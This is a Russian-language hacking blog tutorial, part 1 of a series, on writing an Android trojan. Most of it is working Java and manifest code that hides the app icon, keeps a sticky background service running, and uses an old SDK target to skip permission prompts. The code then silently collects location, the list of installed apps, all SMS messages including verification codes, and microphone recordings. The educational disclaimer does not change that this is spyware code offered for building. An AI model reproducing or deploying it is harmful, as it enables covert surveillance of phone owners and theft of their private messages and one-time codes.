Как хакеры создают трояны для Андроид? (часть 1)

Как хакеры создают трояны для Андроид? (часть 1)

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity
    android:name="com.example.app.MainActivity"
    android:label="@string/app_name" >
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
 
<service
    android:name="com.example.app.MainService"
    android:enabled="true"
    android:exported="false">
</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState)
 
    // Запускаем сервис
    startService(new Intent(this, MainService.class));
 
    // Отключаем Activtiy
    ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {
    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
 
    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
 
    long GPSLocationTime = 0;
    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
 
    long NetLocationTime = 0;
    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
 
    Location loc;
    if ( 0 < GPSLocationTime - NetLocationTime ) {
        loc = locationGPS;
    } else {
        loc = locationNet;
    }
 
    if (loc != null) {
        return loc;
    } else {
        return null;
    }
}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
 
try {
    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
    outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
    outputStreamWriter.close();
}
catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {
    String appsFile = context.getApplicationInfo().dataDir + "/apps"
 
    final PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
 
    try {
        PrintWriter pw = Files.writeLines(appsFile);
 
        for (ApplicationInfo packageInfo : packages) {
            if (!isSystemPackage(packageInfo))
                pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
        }
 
        pw.close();
    } catch (IOException e) {}
}
 
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) {
    SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.US);
 
    Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null);
 
    try {
        PrintWriter pw = Files.writeLines(file);
 
        if (cursor != null && cursor.moveToFirst()) {
            do {
                String address = null;
                String date = null;
                String body = null;
 
                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    switch (cursor.getColumnName(idx)) {
                        case "address":
                            address = cursor.getString(idx);
                            break;
                        case "date":
                            date = cursor.getString(idx);
                            break;
                        case "body":
                            body = cursor.getString(idx);
                    }
                }
 
                if (box.equals("inbox")) {
                    pw.println("From: " + address);
                } else {
                    pw.println("To: " + address);
                }
 
                String dateString = formatter.format(new Date(Long.valueOf(date)));
 
                pw.println("Date: " + dateString);
 
                if (body != null) {
                    pw.println("Body: " + body.replace('\n', ' '));
                } else {
                    pw.println("Body: ");
                }
 
                pw.println();
            } while (cursor.moveToNext());
        }
        pw.close();
        cursor.close();
    } catch (Exception e) {}
}

Использовать его следует так:

// Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS(context, inboxFile, "inbox");
 
// Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS(context, sentFile, "sent");

Записи в файле будут выглядеть примерно так:

From: Google
Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

void recordAudio(String file, final int time) {
    MediaRecorder recorder = new MediaRecorder();
 
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    recorder.setOutputFile(file);
 
    try {
        recorder.prepare();
    } catch (IOException e) {}
 
    recorder.start();
 
    Thread timer = new Thread(new Runnable() {
        @Override
        public void run() {
            try {
                Thread.sleep(time * 1000);
            } catch (InterruptedException e) {
                Log.d(TAG, "timer interrupted");
            } finally {
                recorder.stop();
                recorder.release();
            }
        }
    });
 
    timer.start();
}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();
 
String filePrefix = context.getApplicationInfo().dataDir + "/audio-";
 
recordAudio(filePrefix + formatter.format(date) + ".3gp", 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Продолжение следует...

Источник

Report Page